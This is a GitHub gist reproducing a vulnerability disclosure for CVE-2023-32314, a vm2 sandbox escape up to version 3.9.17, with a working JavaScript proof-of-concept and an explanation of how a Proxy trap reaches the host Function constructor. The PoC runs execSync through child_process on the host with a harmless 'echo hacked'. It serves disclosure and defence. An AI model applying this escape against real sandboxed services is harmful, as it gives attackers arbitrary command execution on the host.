Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save gladiopeace/f3244b942c649658316d20aa2578b62c to your computer and use it in GitHub Desktop.
Save gladiopeace/f3244b942c649658316d20aa2578b62c to your computer and use it in GitHub Desktop.
Sandbox Escape in vm2@3.9.17 - CVE-2023-32314

Sandbox Escape in vm2@3.9.17

A sandbox escape vulnerability exists in vm2 for versions up to 3.9.17. It abuses an unexpected creation of a host object based on the specification of Proxy, and allows RCE via Function in the host context.

Impact

A threat actor can bypass the sandbox protections to gain remote code execution rights on the host running the sandbox.

PoC

const { VM } = require("vm2");
const vm = new VM();

const code = `
  const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync("echo hacked").toString();
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }
`;

console.log(vm.run(code)); // -> hacked

Analysis

err.name.toString is called at ErrorPrototypeToString in prepareStackTrace from the host context.

Also, the definition of [[Call]] internal method of a Proxy object is as follows:

  1. Let argArray be CreateArrayFromList(argumentsList).
  2. Return ? Call(trap, handler, « target, thisArgument, argArray »).

When err.name.toString is called, the step 7 creates argArray in the host context and the host object is passed to args of apply(target, thiz, args). So, you can access Function constructor of the host context.

Credits

Takeshi Kaneko (GMO Cybersecurity by Ierae, Inc.)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment